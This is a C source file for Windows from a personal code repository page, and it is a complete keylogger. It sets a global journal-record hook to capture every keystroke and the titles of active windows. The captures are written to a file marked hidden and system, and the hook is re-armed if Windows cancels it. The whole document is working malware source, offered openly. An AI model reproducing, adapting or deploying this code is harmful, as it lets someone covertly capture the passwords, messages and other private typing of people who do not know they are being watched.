Creative Commons License Foxbond's Repo

/** (c) 2013 Michał (Foxbond) Chraniuk */
#include <stdio.h>
#include <windows.h>
#include "keylogger.h"
bool logging=false;
DWORD TID=0;
HMODULE hMod=0;
HANDLE myFile=0;
HANDLE hThread=0;
HHOOK lHook=0;
HWND prevF=0;
LRESULT __stdcall klProc(int code,WPARAM wParam,LPARAM lParam)
{
	if(code<0)
	{
		return CallNextHookEx(lHook,code,wParam,lParam);
	}
	if(code==HC_ACTION)
	{
		EVENTMSG *pEvt=(EVENTMSG *)lParam;
		if(pEvt->message==WM_KEYDOWN)
		{
			DWORD dwCount,dwBytes;
			char svBuffer[256];
			int vKey,nScan;
			vKey=LOBYTE(pEvt->paramL);
			nScan=HIBYTE(pEvt->paramL);
			nScan<<=16;
			HWND hFocus=GetActiveWindow();
			if(prevF!=hFocus)
			{
				char svTitle[256];
				int nCount;
				nCount=GetWindowText(hFocus,svTitle,256);
				if(nCount>0)
				{
					char svBuffer[512];
					wsprintf(svBuffer,"\r\n-----[ %s ]-----\r\n",svTitle);
					WriteFile(myFile,svBuffer,lstrlen(svBuffer),&dwBytes,NULL);
				}
				prevF=hFocus;
			}
			dwCount=GetKeyNameText(nScan,svBuffer,256);
			if(dwCount)
			{
				if(vKey==VK_SPACE)
				{
					svBuffer[0]=' ';
					svBuffer[1]='\0';
					dwCount=1;
				}
				if(dwCount==1)
				{
					BYTE kbuf[256];
					WORD ch;
					int chcount;
					GetKeyboardState(kbuf);
					chcount=ToAscii(vKey,nScan,kbuf,&ch,0);
					if((chcount>0)&&(ch>=32)&&(ch<=127))
					{
						WriteFile(myFile,&ch,chcount,&dwBytes,NULL);
					}
				}
				else
				{
					WriteFile(myFile,"[",1,&dwBytes,NULL);
					WriteFile(myFile,svBuffer,dwCount,&dwBytes,NULL);
					WriteFile(myFile,"]",1,&dwBytes,NULL);
					if(vKey==VK_RETURN)
					{
						WriteFile(myFile,"\r\n",2,&dwBytes,NULL);
					}
				}
			}
		}
	}
	DWORD fsize=GetFileSize(myFile,0);
	if(fsize>=5242880)
	{
		SetFilePointer(myFile,0,0,FILE_BEGIN);
		SetEndOfFile(myFile);
	}
	return CallNextHookEx(lHook,code,wParam,lParam);
}
DWORD __stdcall klThread(LPVOID lpv)
{
	MSG msg;
	BYTE keytbl[256];
	for(int i=0;i<256;++i)
	{
		keytbl[i]=0;
	}
	logging=true;
	prevF=0;
	myFile=CreateFile((char *)lpv,GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM,0);
	if(myFile==INVALID_HANDLE_VALUE)
	{
		return 1;
	}
	if(SetFilePointer(myFile,0,0,FILE_END)==0xffffffff)
	{
		CloseHandle(myFile);
		myFile=0;
		return 1;
	}
	lHook=SetWindowsHookEx(WH_JOURNALRECORD,klProc,hMod,0);
	if(lHook==0)
	{
		CloseHandle(myFile);
		myFile=0;
		return 1;
	}
	logging=true;
	while(logging)
	{
		while(PeekMessage(&msg,0,0,0,PM_NOREMOVE))
		{
			GetMessage(&msg,0,0,0);
			if(msg.message==WM_CANCELJOURNAL)
			{
				SetKeyboardState(keytbl);
				lHook=SetWindowsHookEx(WH_JOURNALRECORD,klProc,hMod,0);
				if(lHook==0)
				{
					CloseHandle(myFile);
					myFile=0;
					return 1;
				}
			}
			else
			{
				DispatchMessage(&msg);
			}
		}
		Sleep(1);
	}
	UnhookWindowsHookEx(lHook);
	CloseHandle(myFile);
	myFile=0;
	hThread=0;
	return 0;
}
bool klLog(const char *file)
{
	if(logging==true)
	{
		return false;
	}
	hThread=CreateThread(0,0,klThread,(LPVOID)file,0,&TID);
	if(hThread==0)
	{
		return false;
	}
	return true;
}
bool klStop()
{
	if(logging==false)
	{
		return false;
	}
	if(WaitForSingleObject(hThread,2000)==WAIT_OBJECT_0)
	{
		return false;
	}
	logging=false;
	return true;
}

> Back